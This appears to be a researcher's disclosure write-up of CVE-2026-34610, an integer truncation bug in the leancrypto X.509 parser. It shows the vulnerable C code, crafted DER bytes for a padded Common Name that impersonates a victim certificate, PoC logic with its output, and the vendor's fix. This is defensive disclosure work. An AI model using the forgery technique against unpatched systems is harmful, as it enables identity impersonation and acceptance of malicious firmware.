Google, IBM, and China’s Academy of Sciences are pouring billions into them. The reason this matters so much for security is simple: once quantum computers are powerful enough, most of the encryption we use today breaks. RSA, ECC, the stuff behind HTTPS, digital signatures, online banking — all of it becomes a paper lock.
We don’t have a cryptographically relevant quantum computer yet. But here’s the thing: adversaries can record encrypted traffic today and decrypt it later when quantum hardware catches up. This is called “Harvest Now, Decrypt Later,” and it’s already happening. That’s why the world is racing to prepare.
The countermeasure is Post-Quantum Cryptography (PQC) — encryption algorithms built on mathematical problems that quantum computers can’t efficiently solve. In 2024, NIST finalized three standards: ML-KEM, ML-DSA, and SLH-DSA. Developers worldwide are now implementing these in production libraries.
But here’s the catch: no matter how mathematically secure an algorithm is, a bug in the implementation renders it useless.
I've been systematically auditing PQC library implementations and finding critical bugs. Today I want to walk through one of them — how a single line of code made certificate forgery possible.
What is leancrypto?
leancrypto is a C-based cryptographic library written by German developer Stephan Mueller. It implements NIST standard PQC algorithms (ML-KEM, ML-DSA, SLH-DSA) and is designed to run as a Linux kernel module. It also ships its own X.509 certificate parser and PKCS#7 signature verifier.
I found a vulnerability in its X.509 parser that enables certificate identity impersonation.
What’s the bug?
An X.509 certificate contains a Common Name (CN) — the string that identifies who the certificate belongs to. Something like “bank.com” or “Firmware-Signer-Corp”.
leancrypto’s X.509 parser stores the CN length in a uint8_t. That type can only hold values 0 through 255. But the actual length arrives as a size_t (up to 2^64 on 64-bit systems). When you cast size_t to uint8_t, the upper bits get silently chopped off.
If the CN is 276 bytes:
> Actual length: 276
> Stored value: (uint8_t)276 = 276 mod 256 = 20
276 becomes 20.
What can an attacker do with this?
Say the legitimate certificate has CN = “leancrypto test int1” (20 bytes).
The attacker crafts a certificate with:
> Attacker CN = “leancrypto test int1” + 256 bytes of padding = **276 bytes**
After leancrypto parses it:
- cn_size = (uint8_t)276 = 20 — same as the legitimate certificate
- First 20 bytes of cn.value = “leancrypto test int1” — identical to the legitimate CN
The two certificates become indistinguishable.
The attacker’s certificate is recognized as the victim’s. That’s the core of this vulnerability.
A concrete scenario
Imagine an IoT device that verifies PKCS#7 firmware signatures using leancrypto.
1. Legitimate signer certificate: CN = “FW-Signer-CorpA” (15 bytes)
2. Attacker’s certificate: CN = “FW-Signer-CorpA” + 256 bytes padding = 271 bytes
3. leancrypto parses it: cn_size = (uint8_t)271 = 15 — matches the legitimate signer
4. Attacker-signed firmware passes verification
Malicious firmware accepted as legitimate.
Vulnerability details
CVE: CVE-2026-34610
GHSA: GHSA-636g-jxv4-v4gr
Affected: leancrypto v1.7.0 and earlier
CVSS 3.1: 5.9
CWE: CWE-681 (Incorrect Conversion between Numeric Types)
Status: Vendor patched (v1.7.1)
The CVSS score is a range because attack complexity depends on the CA environment. Private/enterprise CAs that accept CN > 255 bytes: AC:L (7.5). Public CAs like Let’s Encrypt that reject them: AC:H (5.9).
Technical deep dive
For those who want the details — from the vulnerable code to PoC output.
The vulnerable code
File: asn1/src/x509_cert_parser.c:232-261 — lc_x509_extract_name_segment():
switch (ctx->last_oid) {
case OID_commonName:
ctx->cn_size = (uint8_t)vlen; // size_t to uint8_t truncation
ctx->cn_offset = (uint16_t)(value - ctx->data); // ptrdiff_t to uint16_t truncation
name->cn.value = (char *)value;
name->cn.size = (uint8_t)vlen; // same truncation
break;
case OID_organizationName:
ctx->o_size = (uint8_t)vlen; // same pattern
ctx->o_offset = (uint16_t)(value - ctx->data);
name->o.value = (char *)value;
name->o.size = (uint8_t)vlen;
break;
case OID_email_address:
ctx->email_size = (uint8_t)vlen; // same pattern
ctx->email_offset = (uint16_t)(value - ctx->data);
name->email.value = (char *)value;
name->email.size = (uint8_t)vlen;
break;
// ... all other fields truncated identically
vlen is the actual byte length of the CN extracted by the ASN.1 parser from DER encoding. It’s cast to uint8_t with zero bounds checking. Every name field — CN, Organization, Email — follows the same pattern.
The struct definitions make the problem clear:
// x509_cert_parser.h — internal parse context
struct x509_parse_context {
uint16_t cn_offset; // offset of CN data within certificate
uint8_t cn_size; // CN length — max 255!
};
// lc_x509_common.h — public API struct
struct lc_x509_certificate_name_component {
const char *value; // CN string pointer
uint8_t size; // CN length — max 255!
};
The irony: the generator side is safe
Here’s the funny part. The same library’s **certificate generation** code has proper bounds checking:
// x509_cert_generator_set_data.c:360
static int x509_cert_set_string(..., size_t len)
{
CKRET(len > 0xff, -EOVERFLOW); // rejects > 255 when GENERATING
component->size = (uint8_t)len;
}
When creating a certificate, values over 255 are rejected. When parsing one, no check. An attacker crafts the certificate externally (e.g., openssl req) and sends it to the parser, which accepts it without question.
Two attack vectors
Vector 1: Identity impersonation
If the CN length difference is a multiple of 256, truncation produces the same stored length.
> Victim CN: “bank.com” (8 bytes)
> Attacker CN: “bank.com” + 256 padding (264 bytes)
>
> After parsing:
> Victim cn_size = 8
> Attacker cn_size = (uint8_t)264 = 8
> First 8 bytes compared — identical
Vector 2: Out-of-bounds read (certificates > 65535 bytes)
The cn_offset field is also truncated — to uint16_t. If the certificate exceeds 65535 bytes, the offset wraps:
> Actual CN position: byte 70,000
> Stored offset: (uint16_t)70000 = 4,464
> x509_fabricate_name() reads the wrong location as CN
With traditional RSA/ECC certificates (1–2 KB), this is unrealistic. With PQC certificates, it’s not:
- SLH-DSA-SHAKE-256f — 64 B public key, 49,856 B signature, ~50 KB per certificate
- SLH-DSA-SHAKE-128f — 32 B public key, 17,088 B signature, ~17 KB per certificate
- ML-DSA-87 — 2,592 B public key, 4,627 B signature, ~8 KB per certificate
Two SLH-DSA-256f certificates in a chain exceed 100 KB. The uint16_t offset overflows.
Attacker-reachable path
Attacker sends certificate with 276-byte CN
-> lc_x509_cert_decode(cert, data, datalen) [public API]
-> lc_asn1_ber_decoder(&lc_x509_decoder, &ctx, data, datalen)
-> lc_x509_extract_name_segment(ctx, hdrlen, tag, value, vlen=276)
-> ctx->cn_size = (uint8_t)276 = 20 [truncation]
-> name->cn.size = 20
-> name->cn.value -> “leancrypto test int1XXXX...”
-> lc_x509_policy_cert_subject_match(cert, search, ...) [public API]
-> compares cn.size=20 bytes -> match!
Reachable via PKCS#7 signature verification, X.509 chain validation, and TLS handshakes.
PoC results
The PoC is fully automated with reproduce.sh — zero manual steps:
bash reproduce.sh
What the script does:
1. Clones leancrypto at the vulnerable commit (ec07d05)
2. Builds with meson
3. Generates an attack certificate with a 276-byte CN from a normal test certificate
4. Compiles and runs the PoC
How the attack certificate is built
The normal certificate’s CN field in DER:
31 1d SET (29 bytes)
30 1b SEQUENCE (27 bytes)
06 03 55 04 03 OID 2.5.4.3 (commonName)
0c 14 UTF8String (20 bytes)
“leancrypto test int1”
The attack certificate replaces it with:
31 82 01 1d SET (285 bytes)
30 82 01 19 SEQUENCE (281 bytes)
06 03 55 04 03 OID 2.5.4.3 (commonName)
0c 82 01 14 UTF8String (276 bytes)
“leancrypto test int1” + “X” x 256
All enclosing DER container lengths (Subject SEQUENCE, TBSCertificate, Certificate) are recalculated. A Python script handles this automatically.
PoC core logic
/* Phase 1: Parse victim’s certificate */
struct lc_x509_certificate c1 = {0};
lc_x509_cert_decode(&c1, victim_der, victim_len);
// cn.size = 20, cn.value = “leancrypto test int1”
/* Phase 2: Parse attacker’s certificate (276-byte CN) */
struct lc_x509_certificate c2 = {0};
lc_x509_cert_decode(&c2, attack_der, attack_len);
// cn.size = (uint8_t)276 = 20 -- truncated!
// cn.value = “leancrypto test int1XXX...”
/* Phase 3: Compare — first 20 bytes match, forgery succeeds */
memcmp(c1.cn.value, c2.cn.value, c1.cn.size) == 0 // TRUE!
/* Phase 4: Public API policy matching confirms it */
lc_x509_policy_cert_subject_match(&c2, &search, ...) // MATCH
Output
[Phase 1] Victim’s certificate
CN: size=20 value=”leancrypto test int1”
[Phase 2] Attacker’s certificate (276-byte CN)
CN: size=20 value=”leancrypto test int1”
[Phase 3] Identity comparison
Victim CN: size=20 “leancrypto test int1”
Attacker CN: size=20 “leancrypto test int1”
IDENTITY IMPERSONATION ACHIEVED
Attacker’s CN matches victim’s CN exactly
cn_size = (uint8_t)(256+20) = 20 = victim’s len
[Phase 4] Policy matching
Search: CN=”leancrypto test int1”
Victim cert: MATCH
Attacker cert: MATCH -- IMPERSONATION
Both certificates pass policy matching identically.
The fix
The vendor added bounds checks before truncation in leancrypto v1.7.1:
case OID_commonName:
+ if (vlen > UINT8_MAX)
+ return -EOVERFLOW;
+ if ((size_t)(value - ctx->data) > UINT16_MAX)
+ return -EOVERFLOW;
ctx->cn_size = (uint8_t)vlen;
ctx->cn_offset = (uint16_t)(value - ctx->data);
name->cn.value = (char *)value;
name->cn.size = (uint8_t)vlen;
break;
Applied to all name fields (O, Email, Country, State, OU).
Personally, I think the better long-term fix is widening the struct fields to size_t. There’s no technical reason to limit CN length to uint8_t. With PQC-era certificate sizes growing, even the uint16_t offset will eventually be insufficient.
Takeaways
Integer truncation gets more dangerous in the PQC era. Traditional crypto keys and signatures are a few hundred bytes — uint8_t and uint16_t were fine. PQC operates at tens of thousands of bytes. A single SLH-DSA-256f signature is 49,856 bytes. Type widths that were safe for decades become vulnerabilities when PQC data structures enter the picture.
Parser validation must mirror generator validation. This library rejects len > 0xff when creating certificates but not when parsing them. Since the actual attack path is an externally crafted certificate hitting the parser, parser-side validation is arguably more important.
Timeline
- 2026-03-26 — Discovered
- 2026-03-28 — Detailed report + PoC submitted to vendor
- 2026-03-29 — Fix merged in leancrypto v1.7.1